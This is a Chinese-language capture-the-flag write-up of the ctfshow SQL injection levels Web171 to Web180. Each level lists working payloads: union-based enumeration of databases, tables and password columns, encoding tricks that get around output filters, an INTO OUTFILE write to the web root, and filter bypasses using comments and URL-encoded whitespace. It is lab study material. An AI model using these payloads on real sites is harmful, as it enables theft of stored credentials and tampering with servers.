ctfshow_Web入门_SQL注入(暂停)
Web171
审题:已知GET中需要接收id的值,且被引号包含
解题:1、1’ order by 3 --+ 测试字段
2、1‘ union select 1,2,3 --+ 爆数字
3、1’ union select database(),2,3 --+ 爆库名,库名为ctfshow_web
4、1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema = 'ctfshow_web' --+ 爆表名,表名为ctfshow_user
5、1' union select group_concat(column_name),2,3 from information_schema.columns where table_name = 'ctfshow_user' --+ 爆列名,列名有id,username,password
6、1' union select id,username,password from ctfshow_user --+ 得到flag
7、过关成功!
Web172
审题:1、已知GET中需要接收id的值,且被引号包含
2、username中出现flag的值都不允许查询
解题:1、1' order by 2 --+ 测试字段
2、1‘ union select 1,2 --+ 爆数字
3、1' union select database(),2 --+ 爆库名,库名为ctfshow_web
4、1' union select group_concat(table_name),2 from information_schema.tables where table_schema = 'ctfshow_web' --+ 爆表名,表名有ctfshow_user,ctfshow_user2出现了两张表
5、1' union select group_concat(column_name),2 from information_schema.columns where table_name = 'ctfshow_user' --+ 爆列名,列名有id,username,password
6、1' union select 1,password from ctfshow_user --+ 不让username为flag的出现,那就只查password,毕竟flag的值就在password中,结果表1为假的
7、1' union select 1,password from ctfshow_user2 --+ 查询表2,得到flag
8、成功过关!
Web173
审题:1、已知GET中需要接收id的值,且被引号包含
2、返回值的值不允许大小写的flag字符串
解题:(不让包含就编码输出,得到数据再解码)
1、1' order by 3 --+ 测试字段
2、1‘ union select 1,2,3 --+ 爆数字
3、1' union select database(),2,3 --+ 爆库名,库名为ctfshow_web
4、1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema = 'ctfshow_web' --+ 爆表名,表名为ctfshow_user,ctfshow_user2,ctfshow_user3
5、1' union select group_concat(column_name),2,3 from information_schema.columns where table_name = 'ctfshow_user3' --+ 根据前面的经验来看,直接先爆第三个表,列名为id,username,password
6、1' union select 1,to_base64(password),3 from ctfshow_user3 --+ 得到base64编码后的值,通过解码,得到flag
7、成功过关!
Web174
审题:1、已知GET中需要接收id的值,且被引号包含
2、返回值的值不允许大小写的flag字符串以及任何数字
解题:(将flag的值进行编码,再把数字全部替换成自定义字符串)
1、前面爆库爆表爆列名不再赘述,直接从获取password的数据开始
2、 1' union select replace(1,'1','?'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 --+ 用replace方法将1位置的1替换成?,用嵌套的replace将0-9的数字替换成num开头的字符串,得到编码后的flag,将flag根据刚刚的规则还原,再进行base64解码,得到flag
3、成功过关!
Web175
审题:1、已知GET中需要接收id的值,且被引号包含
2、返回值的值不允许包含ascii码表里的任何字母和数字,也就是不返回结果
解题:1、将返回结果写入一个文件里
2、Apache的默认根目录是/var/www/html,写入1.txt文件
3、1‘ union select 1,password,3 from ctfshow_user5 into outfile '/var/www/html/1.txt' --+ 获取flag
4、成功过关!
Web176
审题:1、已知有过滤但没有提示什么过滤
解题:1、尝试把字母大写,成功绕过,获取flag
2、成功过关!
Web177
审题:1、有过滤,也是没有提示
解题:1、尝试大小写,无法绕过
2、尝试将空格替换成内敛注释/**/,成功绕过,获取flag
3、成功过关!
web178
审题:有过滤,无提示
解题:1、尝试大小写/空格改为/**/,无回显
2、尝试将空格改为Tab的url编码%09,还是无回显
3、将--+改成#的编码%23
4、输入1'%09order%09by%093%09%23,成功绕过
5、依次向下查找,获得flag,成功过关!
web179
审题:有过滤,无提示
解题:1、尝试将空格替换成%09,无回显
2、尝试用%0c替代,成功解决
3、输入1'%0corder%0cby%0c3%0c%23,成功绕过
4、依次向下查找,获得flag,成功过关!
解题2:1'or'1'='1'%23(一把梭)
web180
审题:黑盒
解题:1、以上空格替代都试过了,没用
2、根据网上一位师傅的技巧,采用-1'or(id=26)and'1'='1
3、中间无需空格,后面的'1'='1应该是为了闭合源代码中查询语句的引号
4、成功过关!
总结:自己对于SQL注入的原理以及方法并不够了解,需要花一些时间系统地补充这一板块,SQL注入暂时告一段落。